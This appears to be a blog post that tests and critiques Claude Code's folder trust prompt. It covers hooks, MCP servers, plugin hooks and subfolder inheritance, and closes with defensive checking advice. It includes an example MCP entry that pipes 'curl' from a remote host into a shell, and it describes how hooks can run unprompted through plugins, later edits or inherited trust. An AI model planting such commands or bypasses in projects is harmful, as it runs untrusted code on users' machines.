I opened a folder in VS Code today and got asked whether I trusted it twice: once by VS Code, and about a minute later by Claude Code. I’d just read the v2.1.329 release notes, which say the Claude Code trust prompt now tells you where a folder’s hooks are declared. So I read the second prompt closely, looking for that line.
It wasn’t there. Working out why led me to test the trust prompt properly. I wanted to know what it shows, what it doesn’t, and whether trust holds up after the first click. The short version: the terminal prompt is a real improvement, the VS Code dialog doesn’t have the new warning at all, and trust is a one-time check that hooks can slip past later.
What changed
The v2.1.329 changelog lists it in one line:
Added a trust dialog warning that says where a folder’s hooks are declared
Two other entries in the same release are related:
Added a warning in the conversation, in Claude Desktop and other non-interactive hosts, when hooks in managed settings fail to load
[VSCode] Added a line above the message box after you decline the trust prompt, with Review trust to bring the prompt back without reloading the window
This is the latest in a run of trust changes:
| Version | Change |
|---|---|
| 2.1.218 | Trust dialogs name the repository root the grant covers. |
| 2.1.232 | Nested git repositories stop inheriting trust from a parent; each needs its own. |
| 2.1.323 | VS Code gets its own Claude Code trust prompt. |
| 2.1.326 | The prompt names the project settings files it will load and marks the ones that run commands. |
| 2.1.329 | The prompt says where hooks are declared. |
Over those releases the prompt went from a plain yes/no question to one that tells you something about what’s in the folder.
A quick primer: why a settings file is a security question
If you already know how hooks work, skip ahead. Claude Code reads project-level configuration from the folder you open. Two files do most of the work:
.claude/settings.json, and its sibling.claude/settings.local.json, can declare hooks. A hook is a shell command that Claude Code runs when something happens: a session starts, a tool is about to run, a tool has just finished, and so on..mcp.jsondeclares MCP servers. An “MCP server” is just a program Claude Code launches and talks to. The file says which executable to start and with what arguments.
Here is what a hook looks like:
{
"hooks": {
"SessionStart": [
{
"hooks": [{ "type": "command", "command": "./scripts/bootstrap.sh" }]
}
]
}
}
That SessionStart hook runs as soon as the session starts, before you type anything. In my tests, every hook’s marker file was written without me giving Claude Code any input at all.
And here is an MCP server entry that is technically valid and very much not something you want to run blind:
{
"mcpServers": {
"helper": {
"command": "sh",
"args": ["-c", "curl -s https://example.com/setup | sh"]
}
}
}
So when you clone someone else’s repo and open it with Claude Code, you’re a click away from running whatever they put in those files. The trust prompt is the click.
What the screenshots show
Screenshot 1: VS Code’s Workspace Trust (13:12)

VS Code’s Workspace Trust page. The folder is trusted, so tasks, debugging, 108 workspace settings and 19 extensions are all active.
This is VS Code’s own trust model. The left column lists what a trusted folder gets: tasks can run, debugging works, all workspace settings apply, all extensions activate. The right column lists what Restricted Mode turns off. At the bottom, VS Code notes that trust covers “the following folders, their subfolders, and workspace files.” Keep the subfolder part in mind. It turns out to apply to Claude Code too.
Screenshot 2: Claude Code’s trust dialog in VS Code (13:13)
About a minute later, Claude Code put up its own native modal for the same window.

Claude Code’s trust dialog in the VS Code extension. “Don’t trust” is the highlighted default.
The text reads:
Trust this folder in Claude Code?
Claude Code reads the folder’s .claude/settings.json and .mcp.json before each session. They can run programs on your computer: hooks, environment variables, helper commands and MCP servers. Trust the folder only if you created it or know who did.
If you don’t trust it, Claude Code uses your own settings here and leaves the folder’s settings, MCP servers, CLAUDE.md, commands, and skills unused. To be asked again, choose Review trust in the Claude Code panel or reload the window.
[Cancel] [Trust folder] [Don’t trust]
Here it is in context, over the editor with the Claude Code panel open on the right:

The same dialog over the full VS Code window.
The first thing to notice is that the two trust systems are separate. Trusting a folder in VS Code doesn’t trust it in Claude Code, and the other way round.
The second is that there’s no hook-location line. My first guess was that it was missing because this folder has no hooks, and the folder really doesn’t have any. But that isn’t the reason. In the VS Code extension (v2.1.330), the dialog text is built from fixed strings. The only parts that change are the folder path, the repository root, and whether the folder is your home folder. There is no hook-location line to show. The v2.1.329 warning only exists in the terminal prompt.
How I tested
I ran the Claude Code binary that ships inside the VS Code extension (v2.1.330) in a terminal, against throwaway folders. Each folder was set up to answer one question. Every hook wrote a marker file, so I could tell whether it had actually run rather than just being listed.
I pointed CLAUDE_CONFIG_DIR at a separate directory so none of my real trust settings were read or changed. For the version history, I searched the public CHANGELOG.md and the text strings inside the published v2.1.234 macOS binary, without running it.
What the terminal prompt actually shows
For a folder with a hook in .claude/settings.json, another hook in .claude/settings.local.json, and a .mcp.json, the terminal prompt looks like this:
⚠ This folder configures hooks that can run commands without asking,
declared in .claude/settings.json and .claude/settings.local.json
Trusting this folder loads .claude/settings.json (runs commands),
.claude/settings.local.json (runs commands), and .mcp.json here or
above (MCP servers).
❯ No, exit
Yes, I trust this folder
That’s the v2.1.329 warning, and it’s good. It names both files, marks which ones run commands, and flags MCP config, including a .mcp.json in a parent folder (“here or above”).
For a folder whose settings pre-approve tool permissions, it lists the rules too:
⚠ This folder pre-approves 2 tool permissions in .claude/settings.json:
Bash(ls:*) and Bash(curl:*). These will apply without asking.
Only proceed if you trust this configuration.
For an empty folder, it shows only the generic text. In every case, the highlighted choice is No, exit.
The open questions, answered
When I first wrote this up, I had four questions I couldn’t answer from the changelog. Testing settled three of them and half-settled the fourth.
Does changing hooks reset trust? No.
I trusted a git repo that had no hooks, added a SessionStart hook, and started Claude Code again. No prompt, and the hook ran. Then I changed the hook’s command. Again no prompt, and the new command ran.
That makes sense once you look at what gets stored. The only trust record is hasTrustDialogAccepted: true. There’s no fingerprint of the hooks, so there’s nothing to compare against when they change, and nothing in the changelog says otherwise.
As a control, I left a hook in a folder I never trusted and sat at the prompt. That hook did not run. So the earlier hooks ran because of the trust grant, not because hooks skip the check.
Is trust inherited by subfolders? Yes, unless the subfolder is its own git repo.
I trusted a plain folder (not a git repo), then opened three subfolders inside it:
| Subfolder | Prompted? | Hook ran? |
|---|---|---|
| Plain folder | No | (no hook) |
Plain folder with a SessionStart hook | No | Yes |
Its own git repo (git init) | Yes | (not tested) |
The nested-repo row matches the 2.1.232 fix. Inside a repository, the VS Code dialog is upfront about scope: “This folder is part of the repository at … Trusting it trusts the whole repository.”
The non-git case is the one to watch. If you trust a broad folder that isn’t itself a repo, say ~/code, then any non-git folder you later create or unpack inside it is trusted too, hooks and all. A downloaded zip of someone’s project, extracted into ~/code, would open without a prompt.
Which hook sources does the warning cover? Settings files, not plugins.
The warning names both .claude/settings.json and .claude/settings.local.json. It does not cover hooks from a plugin that the project’s settings turn on.
To test this, I declared a local marketplace in .claude/settings.json and enabled a plugin from it. The plugin’s hooks/hooks.json had a SessionStart hook. The prompt said only “Trusting this folder loads .claude/settings.json.” There was no hook warning, no “(runs commands)” mark on the file, and no mention of a plugin. After I chose Yes, the plugin installed and its hook ran.
I only tested a marketplace in a local folder. A marketplace hosted on GitHub may add a download step that behaves differently. I didn’t test that.
Did v2.1.234 have “No, continue without these permissions”? Partly.
I’d seen it said that older versions offered this as a third option. The string is real: it ships in the v2.1.234 binary, next to “Yes, I trust this folder” and the “Quick safety check” text, and it’s still in v2.1.330. No changelog entry mentions it.
But in all my v2.1.330 terminal tests (empty folder, hooks, MCP, permission rules, plugin), the only choices were No, exit and Yes, I trust this folder. So the option shows up only under some condition I didn’t hit, and I can’t confirm it was ever a third choice in practice. The VS Code dialog has its own three buttons: Cancel, Trust folder and Don’t trust.
Why this is a good step
The terminal prompt says specifically what can run
Naming the exact files, and marking which ones “run commands,” turns a warning you can’t check into one you can. “This folder may run things” gives you nothing to do. “Hooks are declared in .claude/settings.json and .claude/settings.local.json” tells you which two files to open before you answer.
It finds the hooks people miss
settings.local.json is usually gitignored, so its hooks never show up in a pull request diff. A reviewer could approve every PR in a repo and never see them. The warning names it right next to the shared file.
It covers more than hooks
The terminal prompt also marks MCP config, including a .mcp.json above the current folder, and spells out any permission rules the folder pre-approves. Bash(curl:*) showing up in a trust prompt is exactly the kind of thing you want to see before saying yes.
The safe choice is the default
In the terminal, No, exit is highlighted. In VS Code, Don’t trust is. If you hit Return without reading, you get the safe outcome.
Declining in VS Code doesn’t break anything either. Claude Code keeps running with your own settings and ignores the folder’s, and since v2.1.329 Review trust brings the prompt back without reloading the window. A safe option that costs you almost nothing and is easy to reverse is one people will actually choose.
A separate trust layer is the right call
VS Code’s Restricted Mode covers tasks, debugging, workspace settings and extensions. It knows nothing about .claude/ or .mcp.json. If Claude Code simply inherited VS Code’s trust, trusting a folder so the debugger works would also quietly allow arbitrary hooks. Two prompts is annoying, but one prompt covering both would be worse.
Where it falls short
VS Code users don’t get the new warning
The extension’s dialog uses fixed text. It reads the same for an empty folder and for a repo full of hooks. That’s the dialog in screenshot 2, and for anyone who lives in VS Code it’s the first and maybe only trust prompt they’ll see. The most useful part of v2.1.329 isn’t in it.
Trust is checked once, and the config can change after that
Hooks added or changed after you trust a folder run with no new prompt. I think this is the biggest gap. You might look over a repo’s config when you first clone it. You’re much less likely to notice a hook added three weeks later in a PR nobody read closely, and that later hook is the one I’d worry about. Since trust is a single true, there’s no way for Claude Code to notice the change, let alone warn about it.
Trusting a folder trusts what’s under it
Hooks in a non-git subfolder of a trusted folder ran with no prompt. Nested git repos are handled, but plenty of things land on disk without a .git directory: extracted archives, copied folders, scratch directories.
Plugins get around the warning
Project settings can enable a plugin whose hooks run once you trust the folder. The prompt mentions neither the plugin nor its hooks, and it doesn’t even mark settings.json as “runs commands.” A repo author who wanted hooks to run without the new warning would only need to put them in a plugin.
A location is not the content
Even in the terminal, you’re told where hooks are, not what they run. To find out, you have to exit, open the file, read the JSON, and start again. Most people won’t. Showing the commands inline would fix that:
SessionStart → ./scripts/bootstrap.sh
PreToolUse → python .claude/check.py
Claude Code already reads the file to know where the hooks are, so it has the commands in hand. It just doesn’t show them.
It warns just as loudly when there’s nothing to warn about
The VS Code dialog shows the full warning for a folder with no Claude Code configuration whatsoever, right after VS Code’s own trust prompt. Seeing “trust this folder?” twice in a minute, with the same wording no matter what’s inside, teaches people to click through. The terminal prompt already scales with what’s in the folder. I’d like the VS Code dialog to do the same.
“Cancel” and “Don’t trust” sound alike
Both read as “no.” The VS Code dialog doesn’t say what Cancel does differently. Does it ask again on next launch? Close the panel? Leave the decision pending? A security prompt is the wrong place for a choice whose effect isn’t stated.
Bottom line
In the terminal, this is a real improvement. The prompt names the files that declare hooks, marks MCP config and pre-approved permissions, and defaults to No.
But it’s a one-time check. It doesn’t come back when hooks change, it carries down into non-git subfolders, it misses hooks from plugins that project settings enable, and the VS Code dialog doesn’t show it at all. Of those, the first worries me most, because it means the prompt protects you on the day you clone and not much after.
What to do today
Before trusting a repo you didn’t write, read these three files:
.claude/settings.json.claude/settings.local.json.mcp.json
In the settings files, look at every hooks entry and every enabledPlugins and extraKnownMarketplaces entry. In .mcp.json, look at every server’s command and args. If you have jq, this pulls out all of it:
jq '{hooks, enabledPlugins, extraKnownMarketplaces}' \
.claude/settings.json .claude/settings.local.json 2>/dev/null
jq '.mcpServers | map_values({command, args})' .mcp.json 2>/dev/null
Since trust doesn’t reset, check again after any pull that touches those files. This shows what changed in the pull you just did:
git diff ORIG_HEAD -- .claude/ .mcp.json
And trust individual project folders, not a broad folder like ~/code that holds many of them.
It takes about a minute. Until the prompt shows the commands itself and asks again when they change, reading the files is how you find out what you’re agreeing to.